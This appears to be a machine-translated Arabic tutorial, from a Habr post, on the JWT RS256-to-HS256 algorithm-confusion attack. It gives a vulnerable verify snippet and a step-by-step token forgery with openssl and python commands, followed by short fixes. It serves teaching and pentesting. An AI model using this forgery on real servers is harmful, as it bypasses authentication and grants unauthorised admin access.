هاك رمزية jwt


للأغراض التعليمية فقط! مخصص لاختبار اختراق الهاكرز .

قضية


تستخدم الخوارزمية HS256 المفتاح السري للتوقيع والتحقق من كل رسالة. تستخدم الخوارزمية RS256 المفتاح الخاص لتوقيع الرسالة ويستخدم المفتاح العمومي للمصادقة.

إذا قمت بتغيير الخوارزمية من RS256 إلى HS256 ، فإن رمز الواجهة الخلفية يستخدم المفتاح العمومي كمفتاح سري ثم يستخدم خوارزمية HS256 للتحقق من التوقيع. خوارزمية التشفير غير المتماثلة => خوارزمية التشفير غير المتماثلة.

لأنه يمكن للمهاجم في بعض الأحيان الحصول على المفتاح العمومي ، يمكن للمهاجم تعديل الخوارزمية في الرأس إلى HS256 ثم استخدام المفتاح العمومي RSA لتوقيع البيانات.
يستخدم رمز الواجهة الخلفية خوارزمية المفتاح العمومي RSA + HS256 للتحقق من صحة التوقيع.

مثال


تظهر الثغرة الأمنية عندما يبدو التحقق من جانب العميل كما يلي:

const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms ) 

لنفترض أن لدينا الرمز المميز الأول كما هو موضح أدناه و "=>" سوف تشرح التعديل الذي يمكن للمهاجم إجراؤه:

 //header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' } 

يستخدم رمز الواجهة الخلفية المفتاح العمومي كمفتاح سري ثم يستخدم خوارزمية HS256 للتحقق من التوقيع.

هجوم


1. التقاط حركة المرور ورمز JWT صالح (مثال NCC Group)

 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg 

2. فك شفرة رمزية مع تجشؤ فك

الهيكل هو header.payload.signature مع كل مكون 64 بتشفير باستخدام نظام آمن لعناوين URL وإزالة الحشوة.

 {"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}} 

3. تعديل رأس alg إلى HS256

 {"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}} 

4. تحويل مرة أخرى إلى تنسيق JWT

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0 

رأس وحمولة جاهزة للذهاب :)

5. نسخ شهادة الخادم واستخراج المفتاح العمومي

كل ما هو مفقود هو التوقيع ، ولحساب أننا بحاجة إلى المفتاح العمومي الذي يستخدمه الخادم. قد يكون هذا متاحًا مجانًا.

 openssl s_client -connect <hostname>:443 

انسخ إخراج "شهادة الخادم" إلى ملف (مثل cert.pem) واستخرج المفتاح العمومي (إلى ملف يسمى key.pem) عن طريق تشغيل:

 openssl x509 -in cert.pem -pubkey –noout > key.pem 

دعنا نحولها إلى عرافة ASCII:

 cat key.pem | xxd -p | tr -d "\\n" 

من خلال توفير المفتاح العمومي كـ ASCII hex لعملية التوقيع الخاصة بنا ، يمكننا رؤية وحدات البايت والتحكم فيها تمامًا

 echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey: 

المخرجات - أي توقيع HMAC - هي:

 db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f 

فيما يلي سطر واحد لتحويل توقيع ASCII السداسي إلى تنسيق JWT:

 python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")" 

الإخراج هو توقيعنا:

 2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

ببساطة أضفه إلى رمزنا المعدل:

 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8 

6. إرسال رمزية تغييرها إلى الخادم.

قرار


1. استخدم خوارزمية تشفير واحدة فقط (إن أمكن)



2. إنشاء وظائف مختلفة للتحقق من خوارزميات مختلفة



مراجع


1. medium.com/101- كتابة / اختراق- json-web-token-jwt-233fe6c862e6
2. www.youtube.com/watch؟v=rCkDE2me_qk (24:53)
3. auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries
4. www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through

Source: https://habr.com/ru/post/ar450054/


All Articles